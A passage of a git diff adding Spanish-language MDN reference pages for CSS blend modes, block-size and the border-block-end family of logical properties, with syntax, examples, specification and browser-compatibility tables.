+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: saturation;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('saturation', "300", "300") }}</p>
+ </dd>
+ <dt><code>color</code></dt>
+ <dd>
+ <p>El color final tiene el <em><em>matiz</em></em> y <em><em>saturación</em></em> del color superior, mientras usa la <em>luminosidad</em> del color inferior.<br>
+  El efecto preserva los niveles de grid y puede ser usado para colorear el primer plano.</p>
+
+ <div id="color">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: color;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('color', "300", "300") }}</p>
+ </dd>
+ <dt><code>luminosity</code></dt>
+ <dd>
+ <p>El color final tiene la <em>luminosidad</em> del color superior, mientras usa el <em>matiz</em> y <em>saturación</em> del color inferior.<br>
+  Este modo de mezcla es equivalente a <code>color</code>, pero con las capas intercambiadas.</p>
+
+ <div id="luminosity">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: luminosity;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('luminosity', "300", "300") }}</p>
+ </dd>
+</dl>
+
+<h2 id="Interpolación_de_modos_de_mezcla">Interpolación de modos de mezcla</h2>
+
+<div> </div>
+
+<p>Los cambios entre modos de mezcla no son interpolados. Cualquier cambio ocurrirá abruptamente.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Compositing', '#ltblendmodegt', '&lt;blend-mode&gt;') }}</td>
+   <td>{{ Spec2('Compositing') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>35</td>
+   <td>{{compatVersionUnknown()}}</td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{compatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{compatVersionUnknown()}}</td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{compatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>Propiedades que usan valores de este tipo: {{cssxref("background-blend-mode")}} y {{cssxref("mix-blend-mode")}}</li>
+ <li><a href="http://en.wikipedia.org/wiki/Blend_modes">Blend modes</a></li>
+ <li>Índice de <a href="/en-US/docs/CSS/CSS_Reference" title="CSS Reference">Referencia CSS</a></li>
+</ul>
diff --git a/files/es/web/css/block-size/index.html b/files/es/web/css/block-size/index.html
new file mode 100644
index 0000000000..7b3bd80cc6
--- /dev/null
+++ b/files/es/web/css/block-size/index.html
@@ -0,0 +1,151 @@
+---
+title: block-size
+slug: Web/CSS/block-size
+tags:
+  - Experimental
+  - Propiedad CSS
+  - Propiedad Lógica CSS
+  - Referencia
+translation_of: Web/CSS/block-size
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>block-size</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> define el tamaño horizontal o vertical de los elementos en bloque, dependiendo de los modos de escritura. estos corresponden ya sea a la propiedad {{cssxref("width")}} o la propiedad {{cssxref("height")}}, dependiendo de los valores de {{cssxref("writing-mode")}}.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/block-size.html")}} </p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>block-size</code></strong> define el tamaño horizontal y vertical del bloque de un elemento, dependiendo de su modo de escritura. Corresponde a la propiedad {{cssxref("width")}} o {{cssxref("height")}}, dependiendo del valor definido en {{cssxref("writing-mode")}}.</p>
+
+<p>Si el modo de escritura está orientado verticalmente, el valor de <code>block-size</code> se relaciona con la anchura del elemento, de lo contrario, se relaciona con la altura del elemento. Está relacionada con {{cssxref("inline-size")}}, la cual define las otras dimensiones del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* &lt;length&gt; values */
+block-size: 300px;
+block-size: 25em;
+
+/* &lt;percentage&gt; values */
+block-size: 75%;
+
+/* Keyword values */
+block-size: 25em border-box;
+block-size: 75% content-box;
+block-size: max-content;
+block-size: min-content;
+block-size: available;
+block-size: fit-content;
+block-size: auto;
+
+/* Global values */
+block-size: inherit;
+block-size: initial;
+block-size: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>block-size</code> toma los mismos valores que las propiedades {{cssxref("width")}} y {{cssxref("height")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;p class="texto"&gt;Texto de ejemplo&lt;/p&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">.texto {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  block-size: 200px;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo")}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#logical-dimension-properties", "block-size")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>CompatNo}}</td>
+   <td>{{CompatGeckoMobile("41.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Disponible desde Gecko 38, pero bajo la preferencia <code>layout.css.vertical-text.enabled</code>, deshabilitada de forma predeterminada. La preferencia fue removida en Gecko 51 y esta propiedad no puede ser deshabilitada desde dicha versión.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>Las propiedades físicas asignadas: {{cssxref("width")}} y {{cssxref("height")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/es/web/css/border-block-color/index.html b/files/es/web/css/border-block-color/index.html
new file mode 100644
index 0000000000..904664a1ae
--- /dev/null
+++ b/files/es/web/css/border-block-color/index.html
@@ -0,0 +1,86 @@
+---
+title: border-block-color
+slug: Web/CSS/border-block-color
+translation_of: Web/CSS/border-block-color
+---
+<div>{{CSSRef}}{{SeeCompatTable}} </div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>border-block-color</code></strong> define el color del borde de bloque de un elemento, que se asigna al color del borde físico dependiendo de los elementos de modo de escrituro, direccionalidad y la orientación del texto. Esto corresponde a las propiedades {{cssxref("border-top-color")}} y {{cssxref("border-bottom-color")}}, o {{cssxref("border-right-color")}} y {{cssxref("border-left-color")}} dependiendo de los valores definidos para {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">border-block-color: yellow;
+border-block-color: #F5F6F7;
+</pre>
+
+<p>El color de borde en la otra dimensión puede ser establecida con {{cssxref("border-inline-color")}} que establece {{cssxref("border-inline-start-color")}}, y {{cssxref("border-inline-end-color")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>El color del borde. Mirar {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS </h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 10px solid blue;
+  border-block-color: red;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-color", "border-block-color")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, visite <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</div>
+
+<p>{{Compat("css.properties.border-block-color")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a las propiedades del borde físico: {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, o {{cssxref("border-left-color")}}.</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}+ error 1297097</li>
+</ul>
diff --git a/files/es/web/css/border-block-end-color/index.html b/files/es/web/css/border-block-end-color/index.html
new file mode 100644
index 0000000000..e6b360ad1f
--- /dev/null
+++ b/files/es/web/css/border-block-end-color/index.html
@@ -0,0 +1,138 @@
+---
+title: border-block-end-color
+slug: Web/CSS/border-block-end-color
+tags:
+  - CSS
+  - Experimental
+  - Propiedad CSS
+  - Propiedad Lógica CSS
+  - Referencia
+translation_of: Web/CSS/border-block-end-color
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>La propiedad <a href="/es/docs/Web/CSS" title="CSS">CSS</a> <code>border-block-end-color</code> define el color del borde del final lógico de un elemento, que se mapea a un color de borde físico, dependiendo el modo de escritura, direccionalidad y orientación de texto del elemento. Corresponde a las propiedades {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, o {{cssxref("border-left-color")}}, dependiendo de los valores definidos para {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">border-block-end-color: yellow;
+border-block-end-color: #F5F6F7;
+</pre>
+
+<p>Está relacionada con {{cssxref("border-block-start-color")}}, {{cssxref("border-inline-start-color")}}, y {{cssxref("border-inline-end-color")}}, que definen las otras propiedades de color de borde del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'border-color'&gt;</code></dt>
+ <dd>Véase {{ cssxref("border-color") }}</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Texto de ejemplo&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 10px solid blue;
+  border-block-end-color: red;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-end-color", "border-block-end-color")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("41.0") }}<sup><a href="#compat_hint1">[1]</a></sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Disponible desde Gecko 38, pero bajo la preferencia <code>layout.css.vertical-text.enabled</code>, deshabilitada por defecto. La preferencia fue removida en Gecko 51 y esta propiedad no puede ser deshabilitada desde esta misma versión .</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, y {{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}+ bug 1297097</li>
+</ul>
diff --git a/files/es/web/css/border-block-end-style/index.html b/files/es/web/css/border-block-end-style/index.html
new file mode 100644
index 0000000000..cf626f9017
--- /dev/null
+++ b/files/es/web/css/border-block-end-style/index.html
@@ -0,0 +1,139 @@
+---
+title: border-block-end-style
+slug: Web/CSS/border-block-end-style
+tags:
+  - CSS
+  - Experimental
+  - Propiedad CSS
+  - Propiedad Lógica CSS
+  - Referencia
+translation_of: Web/CSS/border-block-end-style
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>La propiedad <a href="/es/docs/Web/CSS" title="CSS">CSS</a> <strong><code>border-block-end-style</code></strong> define el estilo del borde del final lógico del bloque de un elemento, que se mapea a un estilo de borde físico, dependiendo el modo de escritura, direccionalidad y orientación de texto del elemento. Corresponde a las propiedades {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, o {{cssxref("border-left-style")}}, dependiendo de los valores definidos para {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">border-block-end-style: dashed;
+border-block-end-style: dotted;
+border-block-end-style: groove;
+</pre>
+
+<p>Está relacionada a {{cssxref("border-block-start-style")}}, {{cssxref("border-inline-start-style")}}, y {{cssxref("border-inline-end-style")}}, que definen las otras propiedades de estilos de borde del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>See {{ cssxref("border-style") }}</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Texto de ejemplo&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 5px solid blue;
+  border-block-end-style: dashed;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-end-style", "border-block-end-style")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("41.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Disponible desde Gecko 38, pero bajo la preferencia <code>layout.css.vertical-text.enabled</code>, deshabilitada por defecto. La preferencia fue removida en Gecko 51 y esta propiedad no puede ser deshabilitada desde esta misma versión.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, y {{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-block-end-width/index.html b/files/es/web/css/border-block-end-width/index.html
new file mode 100644
index 0000000000..df9125f627
--- /dev/null
+++ b/files/es/web/css/border-block-end-width/index.html
@@ -0,0 +1,91 @@
+---
+title: border-block-end-width
+slug: Web/CSS/border-block-end-width
+translation_of: Web/CSS/border-block-end-width
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propieda de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>border-block-end-width</code></strong> define el ancho del borde final lógico de bloque de un elemento, que se asigna al borde físico que depende del modo de escritura, direccionalidad, y orientación del texto del elemento. Esto corresponde a la propiedad {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}}, o {{cssxref("border-left-width")}} property dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-block-end-width.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;'border-width'&gt; values */
+border-block-end-width: 5px;
+border-block-end-width: thick;
+</pre>
+
+<p>Las propiedades relacionadas son {{cssxref ("border-block-start-width")}}, {{cssxref ("border-inline-width")}}, y {{cssxref ("border-inline-end-width ")}}, que define los otros anchos de borde del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>El tamaño del borde. Mira {{ cssxref("border-width") }}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 1px solid blue;
+  border-block-end-width: 5px;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-end-width", "border-block-end-width")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-block-end-width")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico: {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}}, and {{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-block-end/index.html b/files/es/web/css/border-block-end/index.html
new file mode 100644
index 0000000000..a2c5d20e60
--- /dev/null
+++ b/files/es/web/css/border-block-end/index.html
@@ -0,0 +1,144 @@
+---
+title: border-block-end
+slug: Web/CSS/border-block-end
+tags:
+  - CSS
+  - Experimental
+  - Propiedad CSS
+  - Propiedad Lógica CSS
+  - Referencia
+translation_of: Web/CSS/border-block-end
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>La propiedad <a href="/es/docs/Web/CSS" title="CSS">CSS</a> <strong><code>border-block-end</code></strong> es un atajo para establecer los valores de las propiedades individuales del borde final lógico de un bloque en un solo lugar de la hoja de estilos. <code>border-block-end</code> puede ser usada para establecer los valores de una o más de las siguientes propiedades: {{Cssxref("border-block-end-width")}}, {{Cssxref("border-block-end-style")}}, {{Cssxref("border-block-end-color")}}. Se asigna a un borde físico, dependiendo del modo de escritura del elemento, su direccionalidad y orientación de texto. Corresponde a las propiedades {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}}, o {{cssxref("border-left")}}, dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">border-block-end: 1px;
+border-block-end: 2px dotted;
+border-block-end: medium dashed blue;
+</pre>
+
+<p>Está relacionada con {{cssxref("border-block-start")}}, {{cssxref("border-inline-start")}}, y {{cssxref("border-inline-end")}}, las cuales definen el borde contrario del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<p>Una o más de los siguientes, en cualquier orden:</p>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>Véase {{ cssxref("border-width") }}</dd>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>Véase {{ cssxref("border-style") }}</dd>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>Véase {{ cssxref("color") }}</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Texto de ejemplo&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  border-block-end: 5px dashed blue;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-end", "border-block-end")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
